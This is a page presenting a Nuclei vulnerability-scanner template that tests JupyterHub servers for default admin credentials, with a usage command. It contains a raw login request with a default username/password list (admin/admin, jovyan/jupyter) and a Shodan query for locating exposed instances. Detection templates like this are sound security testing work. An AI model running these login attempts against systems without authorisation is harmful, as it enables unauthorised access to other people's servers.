Jupyterhub - Default Admin Discovery

ID: jupyterhub-default-login

Severity: high

Author: For3stCo1d

Tags: jupyterhub,default-login

Description

Jupyterhub default admin credentials were discovered.

YAML Source

id: jupyterhub-default-login

info:
  name: Jupyterhub - Default Admin Discovery
  author: For3stCo1d
  severity: high
  description: Jupyterhub default admin credentials were discovered.
  reference:
    - https://github.com/jupyterhub/jupyterhub
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L
    cvss-score: 8.3
    cwe-id: CWE-522
    cpe: cpe:2.3:a:jupyter:jupyterhub:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    shodan-query: http.title:"JupyterHub"
    product: jupyterhub
    vendor: jupyter
  tags: jupyterhub,default-login

http:
  - raw:
      - |
        POST /hub/login?next= HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username={{user}}&password={{pass}}

    attack: pitchfork
    payloads:
      user:
        - admin
        - jovyan
      pass:
        - admin
        - jupyter

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(tolower(header), 'jupyterhub-session-id=')
          - contains(tolower(header), 'jupyterhub-hub-login=')
        condition: and

      - type: status
        status:
          - 302
# digest: 490a0046304402207129592bec8909047b32944c636277075cf81a656e564b22d7ce235024ba26cc0220291152a8cc0eeb83829874f75f0547908506b970ea3ca226f91f12f1707e5904:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/default-logins/jupyterhub/jupyterhub-default-login.yaml"

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